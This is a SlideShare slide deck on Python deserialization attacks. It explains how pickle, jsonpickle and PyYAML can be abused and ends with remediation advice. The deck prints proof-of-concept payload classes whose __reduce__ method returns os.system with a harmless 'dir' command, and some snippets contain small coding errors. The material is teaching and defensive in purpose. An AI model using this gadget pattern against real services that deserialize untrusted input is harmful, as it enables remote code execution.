SlideShare a Scribd company logo
Python Deserialization Attacks
By Manmeet Singh
Date - 28/04/2020
Contents
● Serialization Concept
● Why Deserialization tends to a vulnerability ?
● Python Modules vulnerable to Deserialization Vuln.
● Pickle Module
● JSONPickle Module
● PyYAML Module
● Remediation
Serialization Concept
Structured Data
Variables
Lists
Strings
Custom Objects
Text
Readable or
Unreadable (Bytes)
stream format
Why we need serialization?
1. Recovery of original Structure.
2. Minimize the bandwidth.
3. Calling of class objects.
● Thick client application and
desktop programs. Example :
metasploit, Pycharm, Intellij
IDEA etc.
● APIs.
● Mobile applications
Where is Serialization getting used ?
Why Deserialization
tends to a vulnerability
?
Objects of classes can be
serialized…
And when they get
deserialized, the class
objects are reformed and do
it purpose.
Yes, Calling of any existing
class method is possible ..
Even os.system()
Do developer of serialization libraries
knew this?
Why it was made then?
Application
Class A
Class B
def abc():
...
Dynamically working with classes
Python Serialization Modules
Vulnerable To Deserialization
Vulnerability
● Pickle
● jsonpickle
● Pyyaml
● ruamel.yaml
Pickle Module
Pickling is a way to convert a python object (list, dict, etc.) into a
character stream. The idea is that this character stream contains all the
information necessary to reconstruct the object in another python script.
Serialization using pickle - pickle.dumps(Object)
Deserialization using pickle - pickle.loads(stream)
How to pickle and de-pickle ?
Byte stream ending with . (dot)
Detecting use of pickle module
from pickle import dumps
import os
class payload(objects):
def __reduce__(self):
return os.system, (“dir”,)
print(dumps(payload()))
How to exploit pickle deserialization ?
from pickle import loads
loads(stream)
How to exploit pickle deserialization ?
JSONPickle Module
jsonpickle will serialize complex Python objects to and from JSON.It also
convert a pickled object into human readable form.
Serialization using jsonpickle - jsonpickle.encode(Object)
Deserialization using jsonpickle - jsonpickle.decode(stream)
How to jsonpickle and json de-pickle ?
It looks like normal JSON stream of data. Sometimes have a tag “py/” in it.
Detecting use of jsonpickle module
from jsonpickle import encode
import os
class payload(objects):
def __reduce__(self):
return os.system, (“dir”,)
print(decode(payload()))
How to exploit jsonpickle deserialization ?
from jsonpickle import decode
decode(stream)
How to exploit jsonpickle deserialization ?
PyYAML Module
Pyyaml python module is used to serialize objects in YAML (Yet Another
Markup Language) format. So this module is used to process YAML data.
● Pyyaml version < 5.1 is directly vulnerable. (CVE-2017-18342)
● Pyyaml version >=5.1 and < 5.2 is vulnerable under certain
condition. (CVE-2019-20477)
● Latest version 5.3.1 of Pyyaml is not vulnerable.
Serialization using pyyaml - yaml.dump(Object)
Deserialization using pyyaml - yaml.load(stream)
How to YAML serialize and deserialize ?
It will be in a YAML format.
Detecting use of pyyaml/ruamel.yaml modules
from yaml import dump
import os
class payload(objects):
def __reduce__(self):
return os.system, (“dir”,)
print(dump(payload()))
How to exploit pyyaml deserialization ?
from yaml import load
load(stream)
How to exploit pyyaml deserialization ?
Remediations
For jsonpickle and pickle,
Here, the general take-away would be the rule of thumb “Do not deserialize untrusted
data”
For Pyyaml,
● Use safe_dump() and safe_load() instead of dump() and load().
● Use latest version of pyyaml.
Questions ?
Ad

Recommended

Public Key Cryptosystem
Public Key Cryptosystem
Devakumar Kp
 
CRYPTOGRAPHY AND NETWORK SECURITY
CRYPTOGRAPHY AND NETWORK SECURITY
Kathirvel Ayyaswamy
 
Module 4 Enumeration
Module 4 Enumeration
leminhvuong
 
Pentesting Android Applications
Pentesting Android Applications
Cláudio André
 
Double DES & Triple DES
Double DES & Triple DES
Hemant Sharma
 
Network Attacks and Countermeasures
Network Attacks and Countermeasures
karanwayne
 
How To Improve Quality With Static Code Analysis
How To Improve Quality With Static Code Analysis
Perforce
 
Java Exception handling
Java Exception handling
kamal kotecha
 
Introduction to Android ppt
Introduction to Android ppt
Taha Malampatti
 
Crytography
Crytography
Mostak Ahmed
 
Pentesting Android Apps
Pentesting Android Apps
Abdelhamid Limami
 
Unit 3
Unit 3
KRAMANJANEYULU1
 
Stegnography
Stegnography
Sonal Kathel
 
Cryptographic hash function md5
Cryptographic hash function md5
Khulna University, Khulna, Bangladesh
 
Kheirkhabarov24052017_phdays7
Kheirkhabarov24052017_phdays7
Teymur Kheirkhabarov
 
Hash function
Hash function
Salman Memon
 
Password Attack
Password Attack
Sina Manavi
 
OWASP SD: Deserialize My Shorts: Or How I Learned To Start Worrying and Hate ...
OWASP SD: Deserialize My Shorts: Or How I Learned To Start Worrying and Hate ...
Christopher Frohoff
 
Elliptic Curve Cryptography and Zero Knowledge Proof
Elliptic Curve Cryptography and Zero Knowledge Proof
Arunanand Ta
 
Internet Key Exchange Protocol
Internet Key Exchange Protocol
Prateek Singh Bapna
 
Understanding android security model
Understanding android security model
Pragati Rai
 
Security Development Lifecycle Tools
Security Development Lifecycle Tools
n|u - The Open Security Community
 
Blow fish final ppt
Blow fish final ppt
Ajay AJ
 
sqlmap internals
sqlmap internals
Miroslav Stampar
 
Java oops and fundamentals
Java oops and fundamentals
javaease
 
Android studio installation
Android studio installation
PoojaBele1
 
Hunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows Environment
Teymur Kheirkhabarov
 
Android activity lifecycle
Android activity lifecycle
Soham Patel
 
How Eggxactly Insecure Deserialization Exploit works(1).pdf
How Eggxactly Insecure Deserialization Exploit works(1).pdf
NullHyderabad
 
Python Pickle Module.pdf
Python Pickle Module.pdf
SudhanshiBakre1
 

More Related Content

What's hot (20)

Introduction to Android ppt
Introduction to Android ppt
Taha Malampatti
 
Crytography
Crytography
Mostak Ahmed
 
Pentesting Android Apps
Pentesting Android Apps
Abdelhamid Limami
 
Unit 3
Unit 3
KRAMANJANEYULU1
 
Stegnography
Stegnography
Sonal Kathel
 
Cryptographic hash function md5
Cryptographic hash function md5
Khulna University, Khulna, Bangladesh
 
Kheirkhabarov24052017_phdays7
Kheirkhabarov24052017_phdays7
Teymur Kheirkhabarov
 
Hash function
Hash function
Salman Memon
 
Password Attack
Password Attack
Sina Manavi
 
OWASP SD: Deserialize My Shorts: Or How I Learned To Start Worrying and Hate ...
OWASP SD: Deserialize My Shorts: Or How I Learned To Start Worrying and Hate ...
Christopher Frohoff
 
Elliptic Curve Cryptography and Zero Knowledge Proof
Elliptic Curve Cryptography and Zero Knowledge Proof
Arunanand Ta
 
Internet Key Exchange Protocol
Internet Key Exchange Protocol
Prateek Singh Bapna
 
Understanding android security model
Understanding android security model
Pragati Rai
 
Security Development Lifecycle Tools
Security Development Lifecycle Tools
n|u - The Open Security Community
 
Blow fish final ppt
Blow fish final ppt
Ajay AJ
 
sqlmap internals
sqlmap internals
Miroslav Stampar
 
Java oops and fundamentals
Java oops and fundamentals
javaease
 
Android studio installation
Android studio installation
PoojaBele1
 
Hunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows Environment
Teymur Kheirkhabarov
 
Android activity lifecycle
Android activity lifecycle
Soham Patel
 
Introduction to Android ppt
Introduction to Android ppt
Taha Malampatti
 
Password Attack
Password Attack
Sina Manavi
 
OWASP SD: Deserialize My Shorts: Or How I Learned To Start Worrying and Hate ...
OWASP SD: Deserialize My Shorts: Or How I Learned To Start Worrying and Hate ...
Christopher Frohoff
 
Elliptic Curve Cryptography and Zero Knowledge Proof
Elliptic Curve Cryptography and Zero Knowledge Proof
Arunanand Ta
 
Understanding android security model
Understanding android security model
Pragati Rai
 
Blow fish final ppt
Blow fish final ppt
Ajay AJ
 
Java oops and fundamentals
Java oops and fundamentals
javaease
 
Android studio installation
Android studio installation
PoojaBele1
 
Hunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows Environment
Teymur Kheirkhabarov
 
Android activity lifecycle
Android activity lifecycle
Soham Patel
 

Similar to Python Deserialization Attacks (18)

How Eggxactly Insecure Deserialization Exploit works(1).pdf
How Eggxactly Insecure Deserialization Exploit works(1).pdf
NullHyderabad
 
Python Pickle Module.pdf
Python Pickle Module.pdf
SudhanshiBakre1
 
Vlada Kulish - Why So Serial?
Vlada Kulish - Why So Serial?
OWASP Kyiv
 
Data Serialization in Python JSON vs. Pickle
Data Serialization in Python JSON vs. Pickle
Inexture Solutions
 
(De)serial Killers - BSides Las Vegas & AppSec IL 2018
(De)serial Killers - BSides Las Vegas & AppSec IL 2018
Checkmarx
 
(De)serial Killers - BSides Las Vegas & AppSec IL 2018
(De)serial Killers - BSides Las Vegas & AppSec IL 2018
Dor Tumarkin
 
Sour Pickles
Sour Pickles
SensePost
 
Infecting Python Bytecode
Infecting Python Bytecode
Iftach Ian Amit
 
Serial Killer - Silently Pwning your Java Endpoints // OWASP BeNeLux Day 2016
Serial Killer - Silently Pwning your Java Endpoints // OWASP BeNeLux Day 2016
Christian Schneider
 
Breakfast cereal for advanced beginners
Breakfast cereal for advanced beginners
Truptiranjan Nayak
 
BlueHat v17 || Dangerous Contents - Securing .Net Deserialization
BlueHat v17 || Dangerous Contents - Securing .Net Deserialization
BlueHat Security Conference
 
Understanding Data Abstraction and Encapsulation in Python
Understanding Data Abstraction and Encapsulation in Python
Julie Bowie
 
Py jail talk
Py jail talk
UTD Computer Security Group
 
Reversing the dropbox client on windows
Reversing the dropbox client on windows
extremecoders
 
Reversingobfuscatedpythonapplications dropbox-140819110311-phpapp01
Reversingobfuscatedpythonapplications dropbox-140819110311-phpapp01
Wajhi Ul Hassan Naqvi
 
The Offensive Python: Practical Python for Penetration Testing
The Offensive Python: Practical Python for Penetration Testing
Satria Ady Pradana
 
The Offensive Python - Practical Python for Penetration Testing
The Offensive Python - Practical Python for Penetration Testing
Satria Ady Pradana
 
Deserialization vulnerabilities
Deserialization vulnerabilities
GreenD0g
 
How Eggxactly Insecure Deserialization Exploit works(1).pdf
How Eggxactly Insecure Deserialization Exploit works(1).pdf
NullHyderabad
 
Python Pickle Module.pdf
Python Pickle Module.pdf
SudhanshiBakre1
 
Vlada Kulish - Why So Serial?
Vlada Kulish - Why So Serial?
OWASP Kyiv
 
Data Serialization in Python JSON vs. Pickle
Data Serialization in Python JSON vs. Pickle
Inexture Solutions
 
(De)serial Killers - BSides Las Vegas & AppSec IL 2018
(De)serial Killers - BSides Las Vegas & AppSec IL 2018
Checkmarx
 
(De)serial Killers - BSides Las Vegas & AppSec IL 2018
(De)serial Killers - BSides Las Vegas & AppSec IL 2018
Dor Tumarkin
 
Sour Pickles
Sour Pickles
SensePost
 
Infecting Python Bytecode
Infecting Python Bytecode
Iftach Ian Amit
 
Serial Killer - Silently Pwning your Java Endpoints // OWASP BeNeLux Day 2016
Serial Killer - Silently Pwning your Java Endpoints // OWASP BeNeLux Day 2016
Christian Schneider
 
Breakfast cereal for advanced beginners
Breakfast cereal for advanced beginners
Truptiranjan Nayak
 
BlueHat v17 || Dangerous Contents - Securing .Net Deserialization
BlueHat v17 || Dangerous Contents - Securing .Net Deserialization
BlueHat Security Conference
 
Understanding Data Abstraction and Encapsulation in Python
Understanding Data Abstraction and Encapsulation in Python
Julie Bowie
 
Reversing the dropbox client on windows
Reversing the dropbox client on windows
extremecoders
 
Reversingobfuscatedpythonapplications dropbox-140819110311-phpapp01
Reversingobfuscatedpythonapplications dropbox-140819110311-phpapp01
Wajhi Ul Hassan Naqvi
 
The Offensive Python: Practical Python for Penetration Testing
The Offensive Python: Practical Python for Penetration Testing
Satria Ady Pradana
 
The Offensive Python - Practical Python for Penetration Testing
The Offensive Python - Practical Python for Penetration Testing
Satria Ady Pradana
 
Deserialization vulnerabilities
Deserialization vulnerabilities
GreenD0g
 
Ad

More from NSConclave (20)

RED-TEAM_Conclave
RED-TEAM_Conclave
NSConclave
 
Create a Custom Plugin in Burp Suite using the Extension
Create a Custom Plugin in Burp Suite using the Extension
NSConclave
 
IOT SECURITY ASSESSMENT Pentester's Approach
IOT SECURITY ASSESSMENT Pentester's Approach
NSConclave
 
Debugging Android Native Library
Debugging Android Native Library
NSConclave
 
Burp Suite Extension Development
Burp Suite Extension Development
NSConclave
 
Log Analysis
Log Analysis
NSConclave
 
Regular Expression Injection
Regular Expression Injection
NSConclave
 
HTML5 Messaging (Post Message)
HTML5 Messaging (Post Message)
NSConclave
 
Node.js Deserialization
Node.js Deserialization
NSConclave
 
RIA Cross Domain Policy
RIA Cross Domain Policy
NSConclave
 
LDAP Injection
LDAP Injection
NSConclave
 
Sandboxing
Sandboxing
NSConclave
 
NoSql Injection
NoSql Injection
NSConclave
 
Thick Client Testing Advanced
Thick Client Testing Advanced
NSConclave
 
Thick Client Testing Basics
Thick Client Testing Basics
NSConclave
 
Markdown
Markdown
NSConclave
 
Docker 101
Docker 101
NSConclave
 
Security Architecture Consulting - Hiren Shah
Security Architecture Consulting - Hiren Shah
NSConclave
 
OSINT: Open Source Intelligence - Rohan Braganza
OSINT: Open Source Intelligence - Rohan Braganza
NSConclave
 
Lets get started with car hacking - Ankit Joshi
Lets get started with car hacking - Ankit Joshi
NSConclave
 
RED-TEAM_Conclave
RED-TEAM_Conclave
NSConclave
 
Create a Custom Plugin in Burp Suite using the Extension
Create a Custom Plugin in Burp Suite using the Extension
NSConclave
 
IOT SECURITY ASSESSMENT Pentester's Approach
IOT SECURITY ASSESSMENT Pentester's Approach
NSConclave
 
Debugging Android Native Library
Debugging Android Native Library
NSConclave
 
Burp Suite Extension Development
Burp Suite Extension Development
NSConclave
 
Regular Expression Injection
Regular Expression Injection
NSConclave
 
HTML5 Messaging (Post Message)
HTML5 Messaging (Post Message)
NSConclave
 
Node.js Deserialization
Node.js Deserialization
NSConclave
 
RIA Cross Domain Policy
RIA Cross Domain Policy
NSConclave
 
LDAP Injection
LDAP Injection
NSConclave
 
NoSql Injection
NoSql Injection
NSConclave
 
Thick Client Testing Advanced
Thick Client Testing Advanced
NSConclave
 
Thick Client Testing Basics
Thick Client Testing Basics
NSConclave
 
Security Architecture Consulting - Hiren Shah
Security Architecture Consulting - Hiren Shah
NSConclave
 
OSINT: Open Source Intelligence - Rohan Braganza
OSINT: Open Source Intelligence - Rohan Braganza
NSConclave
 
Lets get started with car hacking - Ankit Joshi
Lets get started with car hacking - Ankit Joshi
NSConclave
 
Ad

Recently uploaded (20)

About Certivo | Intelligent Compliance Solutions for Global Regulatory Needs
About Certivo | Intelligent Compliance Solutions for Global Regulatory Needs
certivoai
 
Meet You in the Middle: 1000x Performance for Parquet Queries on PB-Scale Dat...
Meet You in the Middle: 1000x Performance for Parquet Queries on PB-Scale Dat...
Alluxio, Inc.
 
Wondershare PDFelement Pro 11.4.20.3548 Crack Free Download
Wondershare PDFelement Pro 11.4.20.3548 Crack Free Download
Puppy jhon
 
SAP Datasphere Catalog L2 (2024-02-07).pptx
SAP Datasphere Catalog L2 (2024-02-07).pptx
HimanshuSachdeva46
 
What is data visualization and how data visualization tool can help.pdf
What is data visualization and how data visualization tool can help.pdf
Varsha Nayak
 
Transmission Media. (Computer Networks)
Transmission Media. (Computer Networks)
S Pranav (Deepu)
 
FME as an Orchestration Tool - Peak of Data & AI 2025
FME as an Orchestration Tool - Peak of Data & AI 2025
Safe Software
 
Looking for a BIRT Report Alternative Here’s Why Helical Insight Stands Out.pdf
Looking for a BIRT Report Alternative Here’s Why Helical Insight Stands Out.pdf
Varsha Nayak
 
Software Testing & it’s types (DevOps)
Software Testing & it’s types (DevOps)
S Pranav (Deepu)
 
UPDASP a project coordination unit ......
UPDASP a project coordination unit ......
withrj1
 
OpenTelemetry 101 Cloud Native Barcelona
OpenTelemetry 101 Cloud Native Barcelona
Imma Valls Bernaus
 
Open Source Software Development Methods
Open Source Software Development Methods
VICTOR MAESTRE RAMIREZ
 
Porting Qt 5 QML Modules to Qt 6 Webinar
Porting Qt 5 QML Modules to Qt 6 Webinar
ICS
 
How Insurance Policy Management Software Streamlines Operations
How Insurance Policy Management Software Streamlines Operations
Insurance Tech Services
 
What is data visualization and how data visualization tool can help.pptx
What is data visualization and how data visualization tool can help.pptx
Varsha Nayak
 
Code and No-Code Journeys: The Coverage Overlook
Code and No-Code Journeys: The Coverage Overlook
Applitools
 
Who will create the languages of the future?
Who will create the languages of the future?
Jordi Cabot
 
Emvigo Capability Deck 2025: Accelerating Innovation Through Intelligent Soft...
Emvigo Capability Deck 2025: Accelerating Innovation Through Intelligent Soft...
Emvigo Technologies
 
Women in Tech: Marketo Engage User Group - June 2025 - AJO with AWS
Women in Tech: Marketo Engage User Group - June 2025 - AJO with AWS
BradBedford3
 
Enable Your Cloud Journey With Microsoft Trusted Partner | IFI Tech
Enable Your Cloud Journey With Microsoft Trusted Partner | IFI Tech
IFI Techsolutions
 
About Certivo | Intelligent Compliance Solutions for Global Regulatory Needs
About Certivo | Intelligent Compliance Solutions for Global Regulatory Needs
certivoai
 
Meet You in the Middle: 1000x Performance for Parquet Queries on PB-Scale Dat...
Meet You in the Middle: 1000x Performance for Parquet Queries on PB-Scale Dat...
Alluxio, Inc.
 
Wondershare PDFelement Pro 11.4.20.3548 Crack Free Download
Wondershare PDFelement Pro 11.4.20.3548 Crack Free Download
Puppy jhon
 
SAP Datasphere Catalog L2 (2024-02-07).pptx
SAP Datasphere Catalog L2 (2024-02-07).pptx
HimanshuSachdeva46
 
What is data visualization and how data visualization tool can help.pdf
What is data visualization and how data visualization tool can help.pdf
Varsha Nayak
 
Transmission Media. (Computer Networks)
Transmission Media. (Computer Networks)
S Pranav (Deepu)
 
FME as an Orchestration Tool - Peak of Data & AI 2025
FME as an Orchestration Tool - Peak of Data & AI 2025
Safe Software
 
Looking for a BIRT Report Alternative Here’s Why Helical Insight Stands Out.pdf
Looking for a BIRT Report Alternative Here’s Why Helical Insight Stands Out.pdf
Varsha Nayak
 
Software Testing & it’s types (DevOps)
Software Testing & it’s types (DevOps)
S Pranav (Deepu)
 
UPDASP a project coordination unit ......
UPDASP a project coordination unit ......
withrj1
 
OpenTelemetry 101 Cloud Native Barcelona
OpenTelemetry 101 Cloud Native Barcelona
Imma Valls Bernaus
 
Open Source Software Development Methods
Open Source Software Development Methods
VICTOR MAESTRE RAMIREZ
 
Porting Qt 5 QML Modules to Qt 6 Webinar
Porting Qt 5 QML Modules to Qt 6 Webinar
ICS
 
How Insurance Policy Management Software Streamlines Operations
How Insurance Policy Management Software Streamlines Operations
Insurance Tech Services
 
What is data visualization and how data visualization tool can help.pptx
What is data visualization and how data visualization tool can help.pptx
Varsha Nayak
 
Code and No-Code Journeys: The Coverage Overlook
Code and No-Code Journeys: The Coverage Overlook
Applitools
 
Who will create the languages of the future?
Who will create the languages of the future?
Jordi Cabot
 
Emvigo Capability Deck 2025: Accelerating Innovation Through Intelligent Soft...
Emvigo Capability Deck 2025: Accelerating Innovation Through Intelligent Soft...
Emvigo Technologies
 
Women in Tech: Marketo Engage User Group - June 2025 - AJO with AWS
Women in Tech: Marketo Engage User Group - June 2025 - AJO with AWS
BradBedford3
 
Enable Your Cloud Journey With Microsoft Trusted Partner | IFI Tech
Enable Your Cloud Journey With Microsoft Trusted Partner | IFI Tech
IFI Techsolutions
 

Python Deserialization Attacks

  • 1. Python Deserialization Attacks By Manmeet Singh Date - 28/04/2020
  • 2. Contents ● Serialization Concept ● Why Deserialization tends to a vulnerability ? ● Python Modules vulnerable to Deserialization Vuln. ● Pickle Module ● JSONPickle Module ● PyYAML Module ● Remediation
  • 5. Why we need serialization? 1. Recovery of original Structure. 2. Minimize the bandwidth. 3. Calling of class objects.
  • 6. ● Thick client application and desktop programs. Example : metasploit, Pycharm, Intellij IDEA etc. ● APIs. ● Mobile applications Where is Serialization getting used ?
  • 7. Why Deserialization tends to a vulnerability ?
  • 8. Objects of classes can be serialized… And when they get deserialized, the class objects are reformed and do it purpose.
  • 9. Yes, Calling of any existing class method is possible .. Even os.system()
  • 10. Do developer of serialization libraries knew this?
  • 11. Why it was made then? Application Class A Class B def abc(): ... Dynamically working with classes
  • 12. Python Serialization Modules Vulnerable To Deserialization Vulnerability
  • 13. ● Pickle ● jsonpickle ● Pyyaml ● ruamel.yaml
  • 15. Pickling is a way to convert a python object (list, dict, etc.) into a character stream. The idea is that this character stream contains all the information necessary to reconstruct the object in another python script.
  • 16. Serialization using pickle - pickle.dumps(Object) Deserialization using pickle - pickle.loads(stream) How to pickle and de-pickle ?
  • 17. Byte stream ending with . (dot) Detecting use of pickle module
  • 18. from pickle import dumps import os class payload(objects): def __reduce__(self): return os.system, (“dir”,) print(dumps(payload())) How to exploit pickle deserialization ?
  • 19. from pickle import loads loads(stream) How to exploit pickle deserialization ?
  • 21. jsonpickle will serialize complex Python objects to and from JSON.It also convert a pickled object into human readable form.
  • 22. Serialization using jsonpickle - jsonpickle.encode(Object) Deserialization using jsonpickle - jsonpickle.decode(stream) How to jsonpickle and json de-pickle ?
  • 23. It looks like normal JSON stream of data. Sometimes have a tag “py/” in it. Detecting use of jsonpickle module
  • 24. from jsonpickle import encode import os class payload(objects): def __reduce__(self): return os.system, (“dir”,) print(decode(payload())) How to exploit jsonpickle deserialization ?
  • 25. from jsonpickle import decode decode(stream) How to exploit jsonpickle deserialization ?
  • 27. Pyyaml python module is used to serialize objects in YAML (Yet Another Markup Language) format. So this module is used to process YAML data. ● Pyyaml version < 5.1 is directly vulnerable. (CVE-2017-18342) ● Pyyaml version >=5.1 and < 5.2 is vulnerable under certain condition. (CVE-2019-20477) ● Latest version 5.3.1 of Pyyaml is not vulnerable.
  • 28. Serialization using pyyaml - yaml.dump(Object) Deserialization using pyyaml - yaml.load(stream) How to YAML serialize and deserialize ?
  • 29. It will be in a YAML format. Detecting use of pyyaml/ruamel.yaml modules
  • 30. from yaml import dump import os class payload(objects): def __reduce__(self): return os.system, (“dir”,) print(dump(payload())) How to exploit pyyaml deserialization ?
  • 31. from yaml import load load(stream) How to exploit pyyaml deserialization ?
  • 32. Remediations For jsonpickle and pickle, Here, the general take-away would be the rule of thumb “Do not deserialize untrusted data” For Pyyaml, ● Use safe_dump() and safe_load() instead of dump() and load(). ● Use latest version of pyyaml.